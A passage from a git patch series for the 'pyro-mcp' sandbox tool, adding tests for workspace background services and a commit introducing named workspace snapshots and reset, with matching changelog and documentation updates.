PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS, @@ -135,6 +141,37 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS: assert flag in workspace_shell_close_help_text + workspace_service_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "service", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS: + assert subcommand_name in workspace_service_help_text + workspace_service_start_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS: + assert flag in workspace_service_start_help_text + workspace_service_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS: + assert flag in workspace_service_list_help_text + workspace_service_status_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "status" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS: + assert flag in workspace_service_status_help_text + workspace_service_logs_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS: + assert flag in workspace_service_logs_help_text + workspace_service_stop_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "stop" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS: + assert flag in workspace_service_stop_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index 0df0197..87c3669 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -1,7 +1,6 @@ from __future__ import annotations import asyncio -import time from pathlib import Path from typing import Any, cast @@ -42,6 +41,11 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "shell_write" in tool_names assert "shell_signal" in tool_names assert "shell_close" in tool_names + assert "service_start" in tool_names + assert "service_list" in tool_names + assert "service_status" in tool_names + assert "service_logs" in tool_names + assert "service_stop" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -192,20 +196,7 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: raise TypeError("expected structured dictionary result") return cast(dict[str, Any], structured) - async def _run() -> tuple[ - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - dict[str, Any], - ]: + async def _run() -> tuple[dict[str, Any], ...]: server = create_server(manager=manager) created = _extract_structured( await server.call_tool( @@ -254,57 +245,45 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: }, ) ) - opened = _extract_structured( - await server.call_tool("shell_open", {"workspace_id": workspace_id}) - ) - shell_id = str(opened["shell_id"]) - written = _extract_structured( + service = _extract_structured( await server.call_tool( - "shell_write", + "service_start", { "workspace_id": workspace_id, - "shell_id": shell_id, - "input": "pwd", + "service_name": "app", + "command": "sh -lc 'touch .ready; while true; do sleep 60; done'", + "ready_file": ".ready", }, ) ) - read = _extract_structured( + services = _extract_structured( + await server.call_tool("service_list", {"workspace_id": workspace_id}) + ) + service_status = _extract_structured( await server.call_tool( - "shell_read", + "service_status", { "workspace_id": workspace_id, - "shell_id": shell_id, + "service_name": "app", }, ) ) - deadline = time.time() + 5 - while "/workspace" not in str(read["output"]) and time.time() < deadline: - read = _extract_structured( - await server.call_tool( - "shell_read", - { - "workspace_id": workspace_id, - "shell_id": shell_id, - "cursor": 0, - }, - ) - ) - await asyncio.sleep(0.05) - signaled = _extract_structured( + service_logs = _extract_structured( await server.call_tool( - "shell_signal", + "service_logs", { "workspace_id": workspace_id, - "shell_id": shell_id, + "service_name": "app", + "all": True, }, ) ) - closed = _extract_structured( + service_stopped = _extract_structured( await server.call_tool( - "shell_close", + "service_stop", { "workspace_id": workspace_id, - "shell_id": shell_id, + "service_name": "app", }, ) ) @@ -320,11 +299,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: executed, diffed, exported, - opened, - written, - read, - signaled, - closed, + service, + services, + service_status, + service_logs, + service_stopped, logs, deleted, ) @@ -335,11 +314,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: executed, diffed, exported, - opened, - written, - read, - signaled, - closed, + service, + services, + service_status, + service_logs, + service_stopped, logs, deleted, ) = asyncio.run(_run()) @@ -350,10 +329,10 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: assert diffed["changed"] is True assert exported["artifact_type"] == "file" assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "more\n" - assert opened["state"] == "running" - assert written["input_length"] == 3 - assert "/workspace" in read["output"] - assert signaled["signal"] == "INT" - assert closed["closed"] is True + assert service["state"] == "running" + assert services["count"] == 1 + assert service_status["state"] == "running" + assert service_logs["tail_lines"] is None + assert service_stopped["state"] == "stopped" assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index a9310fd..8ce007c 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -262,6 +262,105 @@ def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> assert open_request["shell_id"] == "shell-1" +def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + responses = [ + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + "stdout": "ok\n", + "stderr": "", + "tail_lines": 200, + "truncated": False, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "stopped", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": 3.0, + "exit_code": 0, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": "sigterm", + } + ).encode("utf-8"), + ] + stubs = [StubSocket(response) for response in responses] + remaining = list(stubs) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return remaining.pop(0) + + client = VsockExecClient(socket_factory=socket_factory) + started = client.start_service( + 1234, + 5005, + service_name="app", + command="echo ok", + cwd="/workspace", + readiness={"type": "file", "path": "/workspace/.ready"}, + ready_timeout_seconds=30, + ready_interval_ms=500, + ) + assert started["service_name"] == "app" + status = client.status_service(1234, 5005, service_name="app") + assert status["state"] == "running" + logs = client.logs_service(1234, 5005, service_name="app", tail_lines=200) + assert logs["stdout"] == "ok\n" + stopped = client.stop_service(1234, 5005, service_name="app") + assert stopped["state"] == "stopped" + start_request = json.loads(stubs[0].sent.decode("utf-8").strip()) + assert start_request["action"] == "start_service" + assert start_request["service_name"] == "app" + + def test_vsock_exec_client_raises_agent_error(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) stub = StubSocket(b'{"error":"shell is unavailable"}') diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index ab17a11..67b3bbd 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -3,6 +3,7 @@ from __future__ import annotations import io import json import os +import signal import subprocess import tarfile import time @@ -1144,3 +1145,369 @@ def test_reap_expired_workspaces_removes_invalid_and_expired_records(tmp_path: P assert not invalid_dir.exists() assert not (tmp_path / "vms" / "workspaces" / workspace_id).exists() + + +def test_workspace_service_lifecycle_and_status_counts(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + started = manager.start_service( + workspace_id, + "app", + command="sh -lc 'printf \"service ready\\n\"; touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + assert started["state"] == "running" + + listed = manager.list_services(workspace_id) + assert listed["count"] == 1 + assert listed["running_count"] == 1 + + status = manager.status_service(workspace_id, "app") + assert status["state"] == "running" + assert status["ready_at"] is not None + + logs = manager.logs_service(workspace_id, "app") + assert "service ready" in str(logs["stdout"]) + + workspace_status = manager.status_workspace(workspace_id) + assert workspace_status["service_count"] == 1 + assert workspace_status["running_service_count"] == 1 + + stopped = manager.stop_service(workspace_id, "app") + assert stopped["state"] == "stopped" + assert stopped["stop_reason"] in {"sigterm", "sigkill"} + + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + + +def test_workspace_service_start_replaces_non_running_record(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + failed = manager.start_service( + workspace_id, + "app", + command="sh -lc 'exit 2'", + readiness={"type": "file", "path": ".ready"}, + ready_timeout_seconds=1, + ready_interval_ms=50, + ) + assert failed["state"] == "failed" + + started = manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + assert started["state"] == "running" + manager.delete_workspace(workspace_id) + + +def test_workspace_service_supports_command_readiness_and_helper_probes( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + command_started = manager.start_service( + workspace_id, + "command-ready", + command="sh -lc 'touch command.ready; while true; do sleep 60; done'", + readiness={"type": "command", "command": "test -f command.ready"}, + ) + assert command_started["state"] == "running" + + listed = manager.list_services(workspace_id) + assert listed["count"] == 1 + assert listed["running_count"] == 1 + + status = manager.status_workspace(workspace_id) + assert status["service_count"] == 1 + assert status["running_service_count"] == 1 + + assert manager.stop_service(workspace_id, "command-ready")["state"] == "stopped" + + workspace_dir = tmp_path / "vms" / "workspaces" / workspace_id / "workspace" + ready_file = workspace_dir / "probe.ready" + ready_file.write_text("ok\n", encoding="utf-8") + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "file", "path": "/workspace/probe.ready"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + class StubSocket: + def __enter__(self) -> StubSocket: + return self + + def __exit__(self, *args: object) -> None: + del args + + def settimeout(self, timeout: int) -> None: + assert timeout == 1 + + def connect(self, address: tuple[str, int]) -> None: + assert address == ("127.0.0.1", 8080) + + monkeypatch.setattr("pyro_mcp.vm_manager.socket.socket", lambda *args: StubSocket()) + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "tcp", "address": "127.0.0.1:8080"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + class StubResponse: + status = 204 + + def __enter__(self) -> StubResponse: + return self + + def __exit__(self, *args: object) -> None: + del args + + def _urlopen(request: object, timeout: int) -> StubResponse: + del request + assert timeout == 2 + return StubResponse() + + monkeypatch.setattr("pyro_mcp.vm_manager.urllib.request.urlopen", _urlopen) + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "http", "url": "http://127.0.0.1:8080/"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + +def test_workspace_service_logs_tail_and_delete_cleanup(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + manager.start_service( + workspace_id, + "logger", + command=( + "sh -lc 'printf \"one\\n\"; printf \"two\\n\"; " + "touch .ready; while true; do sleep 60; done'" + ), + readiness={"type": "file", "path": ".ready"}, + ) + + logs = manager.logs_service(workspace_id, "logger", tail_lines=1) + assert logs["stdout"] == "two\n" + assert logs["truncated"] is True + + services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" + assert services_dir.exists() + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + assert not services_dir.exists() + + +def test_workspace_status_stops_service_counts_when_workspace_is_stopped(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + service_path = tmp_path / "vms" / "workspaces" / workspace_id / "services" / "app.json" + live_service_payload = json.loads(service_path.read_text(encoding="utf-8")) + live_pid = int(live_service_payload["pid"]) + + try: + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "stopped" + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + status = manager.status_workspace(workspace_id) + assert status["state"] == "stopped" + assert status["service_count"] == 1 + assert status["running_service_count"] == 0 + + service_payload = json.loads(service_path.read_text(encoding="utf-8")) + assert service_payload["state"] == "stopped" + assert service_payload["stop_reason"] == "workspace_stopped" + finally: + vm_manager_module._stop_process_group(live_pid) # noqa: SLF001 + + +def test_workspace_service_readiness_validation_helpers() -> None: + assert vm_manager_module._normalize_workspace_service_name("app-1") == "app-1" # noqa: SLF001 + with pytest.raises(ValueError, match="service_name must not be empty"): + vm_manager_module._normalize_workspace_service_name(" ") # noqa: SLF001 + with pytest.raises(ValueError, match="service_name must match"): + vm_manager_module._normalize_workspace_service_name("bad name") # noqa: SLF001 + + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "file", "path": "subdir/.ready"} + ) == {"type": "file", "path": "/workspace/subdir/.ready"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "tcp", "address": "127.0.0.1:8080"} + ) == {"type": "tcp", "address": "127.0.0.1:8080"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "http", "url": "http://127.0.0.1:8080/"} + ) == {"type": "http", "url": "http://127.0.0.1:8080/"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "command", "command": "test -f .ready"} + ) == {"type": "command", "command": "test -f .ready"} + + with pytest.raises(ValueError, match="one of: file, tcp, http, command"): + vm_manager_module._normalize_workspace_service_readiness({"type": "bogus"}) # noqa: SLF001 + with pytest.raises(ValueError, match="required for file readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "file"}) # noqa: SLF001 + with pytest.raises(ValueError, match="HOST:PORT format"): + vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "tcp", "address": "127.0.0.1"} + ) + with pytest.raises(ValueError, match="required for http readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "http"}) # noqa: SLF001 + with pytest.raises(ValueError, match="required for command readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "command"}) # noqa: SLF001 + + +def test_workspace_service_text_and_exit_code_helpers(tmp_path: Path) -> None: + status_path = tmp_path / "service.status" + assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 + status_path.write_text("", encoding="utf-8") + assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 + status_path.write_text("7\n", encoding="utf-8") + assert vm_manager_module._read_service_exit_code(status_path) == 7 # noqa: SLF001 + + log_path = tmp_path / "service.log" + assert vm_manager_module._tail_text(log_path, tail_lines=10) == ("", False) # noqa: SLF001 + log_path.write_text("one\ntwo\nthree\n", encoding="utf-8") + assert vm_manager_module._tail_text(log_path, tail_lines=None) == ( # noqa: SLF001 + "one\ntwo\nthree\n", + False, + ) + assert vm_manager_module._tail_text(log_path, tail_lines=5) == ( # noqa: SLF001 + "one\ntwo\nthree\n", + False, + ) + assert vm_manager_module._tail_text(log_path, tail_lines=1) == ("three\n", True) # noqa: SLF001 + + +def test_workspace_service_process_group_helpers(monkeypatch: pytest.MonkeyPatch) -> None: + def _missing(_pid: int, _signal: int) -> None: + raise ProcessLookupError() + + monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _missing) + assert vm_manager_module._stop_process_group(123) == (False, False) # noqa: SLF001 + + kill_calls: list[int] = [] + monotonic_values = iter([0.0, 0.0, 5.0, 5.0, 10.0]) + running_states = iter([True, True, False]) + + def _killpg(_pid: int, signum: int) -> None: + kill_calls.append(signum) + + def _monotonic() -> float: + return next(monotonic_values) + + def _is_running(_pid: int | None) -> bool: + return next(running_states) + + monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _killpg) + monkeypatch.setattr("pyro_mcp.vm_manager.time.monotonic", _monotonic) + monkeypatch.setattr("pyro_mcp.vm_manager.time.sleep", lambda _seconds: None) + monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", _is_running) + + stopped, killed = vm_manager_module._stop_process_group(456, wait_seconds=5) # noqa: SLF001 + assert (stopped, killed) == (True, True) + assert kill_calls == [signal.SIGTERM, signal.SIGKILL] + + +def test_workspace_service_probe_and_refresh_helpers( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + assert vm_manager_module._run_service_probe_command(tmp_path, "exit 3") == 3 # noqa: SLF001 + + services_dir = tmp_path / "services" + services_dir.mkdir() + status_path = services_dir / "app.status" + status_path.write_text("9\n", encoding="utf-8") + running = vm_manager_module.WorkspaceServiceRecord( # noqa: SLF001 + workspace_id="workspace-1", + service_name="app", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + readiness=None, + ready_at=None, + ended_at=None, + exit_code=None, + pid=1234, + execution_mode="host_compat", + stop_reason=None, + ) + + monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", lambda _pid: False) + refreshed = vm_manager_module._refresh_local_service_record( # noqa: SLF001 + running, + services_dir=services_dir, + ) + assert refreshed.state == "exited" + assert refreshed.exit_code == 9 + + monkeypatch.setattr( + "pyro_mcp.vm_manager._stop_process_group", + lambda _pid: (True, False), + ) + stopped = vm_manager_module._stop_local_service( # noqa: SLF001 + refreshed, + services_dir=services_dir, + ) + assert stopped.state == "stopped" + assert stopped.stop_reason == "sigterm" diff --git a/tests/test_workspace_shells.py b/tests/test_workspace_shells.py index 7b56cf4..4f4f206 100644 --- a/tests/test_workspace_shells.py +++ b/tests/test_workspace_shells.py @@ -165,6 +165,7 @@ def test_workspace_shells_write_and_signal_runtime_errors( try: with session._lock: # noqa: SLF001 session._master_fd = None # noqa: SLF001 + session._input_pipe = None # noqa: SLF001 with pytest.raises(RuntimeError, match="transport is unavailable"): session.write("pwd", append_newline=True) diff --git a/uv.lock b/uv.lock index 6f69a2e..d7370c6 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.6.0" +version = "2.7.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 18b8fd2a7dce0e5688199fd7bd8cc4ee9cfcca36 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 12:41:11 -0300 Subject: [PATCH 20/49] Add workspace snapshots and full reset Implement the 2.8.0 workspace milestone with named snapshots and full-sandbox reset across the CLI, Python SDK, and MCP server. Persist the immutable baseline plus named snapshot archives under each workspace, add workspace reset metadata, and make reset recreate the sandbox while clearing command history, shells, and services without changing the workspace identity or diff baseline. Refresh the 2.8.0 docs, roadmap, and Python example around reset-over-repair, then validate with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed create/snapshot/reset/diff smoke test outside the sandbox. --- CHANGELOG.md | 10 + README.md | 21 +- docs/first-run.md | 24 +- docs/install.md | 13 +- docs/public-contract.md | 25 ++ docs/roadmap/task-workspace-ga.md | 7 +- .../2.8.0-named-snapshots-and-reset.md | 2 + examples/python_workspace.py | 4 + pyproject.toml | 2 +- src/pyro_mcp/api.py | 40 ++ src/pyro_mcp/cli.py | 220 +++++++++- src/pyro_mcp/contract.py | 15 + src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 388 +++++++++++++++++- tests/test_api.py | 18 +- tests/test_cli.py | 383 +++++++++++++++++ tests/test_public_contract.py | 34 ++ tests/test_server.py | 44 +- tests/test_vm_manager.py | 204 ++++++++- uv.lock | 2 +- 20 files changed, 1429 insertions(+), 29 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b813849..e1ff83e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.8.0 + +- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with + `pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` / + `delete_snapshot()`, and the matching `snapshot_*` MCP tools. +- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full + sandbox from the immutable baseline or one named snapshot while keeping the same identity. +- Made reset a full-sandbox recovery path that clears command history, shells, and services while + preserving the workspace spec, named snapshots, and immutable baseline. + ## 2.7.0 - Added first-class workspace services across the CLI, Python SDK, and MCP server with diff --git a/README.md b/README.md index ba89cc6..518ed0f 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.7.0: [CHANGELOG.md#270](CHANGELOG.md#270) +- What's new in 2.8.0: [CHANGELOG.md#280](CHANGELOG.md#280) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.7.0 +Catalog version: 2.8.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -79,6 +79,8 @@ After the quickstart works: - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` +- capture a checkpoint with `uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint` +- reset a broken workspace with `uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - export a changed file or directory with `uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` - start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` @@ -135,7 +137,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.7.0 +Catalog version: 2.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -214,6 +216,9 @@ pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace diff WORKSPACE_ID +pyro workspace snapshot create WORKSPACE_ID checkpoint +pyro workspace reset WORKSPACE_ID --snapshot checkpoint +pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' @@ -234,10 +239,12 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.7.0`; if it fails -partway through, delete and recreate the workspace from its seed. Use `pyro workspace diff` to -compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` -to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot +later host-side changes into a started workspace. Sync is non-atomic in `2.8.0`; if it fails +partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. +Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time +baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use +`pyro workspace snapshot *` and `pyro workspace reset` when you want explicit checkpoints and +full-sandbox recovery. Use `pyro workspace exec` for one-shot non-interactive commands inside a live workspace, and `pyro workspace shell *` when you need a persistent PTY session that keeps interactive shell state between calls. Use `pyro workspace service *` when the workspace needs one or more long-running background processes. diff --git a/docs/first-run.md b/docs/first-run.md index c76c45f..0eb14da 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.7.0 +Catalog version: 2.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -73,6 +73,8 @@ $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID +$ uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint +$ uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' @@ -107,6 +109,17 @@ $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID +++ b/src/note.txt @@ ... +$ uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint +[workspace-snapshot-create] snapshot_name=checkpoint kind=named entry_count=... bytes_written=... + +$ uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint +Workspace reset from snapshot: checkpoint (named) +[workspace-reset] destination=/workspace entry_count=... bytes_written=... +Workspace ID: ... +State: started +Command count: 0 +Reset count: 1 + $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt [workspace-export] workspace_id=... workspace_path=/workspace/src/note.txt output_path=... artifact_type=file entry_count=... bytes_written=... execution_mode=guest_vsock @@ -157,10 +170,11 @@ $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.7.0`; if it fails partway through, delete and recreate the -workspace. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable -create-time baseline, and `pyro workspace export` to copy one changed file or directory back to -the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you +workspace. Sync is non-atomic in `2.8.0`; if it fails partway through, prefer `pyro workspace reset` +to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current +`/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create +named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the +host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need a persistent interactive PTY session in that same workspace. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness checks. Internal service state and logs stay outside `/workspace`, so service runtime data does not appear in diff --git a/docs/install.md b/docs/install.md index fc4d5c7..89d41b6 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.7.0 +Catalog version: 2.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -177,6 +177,7 @@ After the CLI path 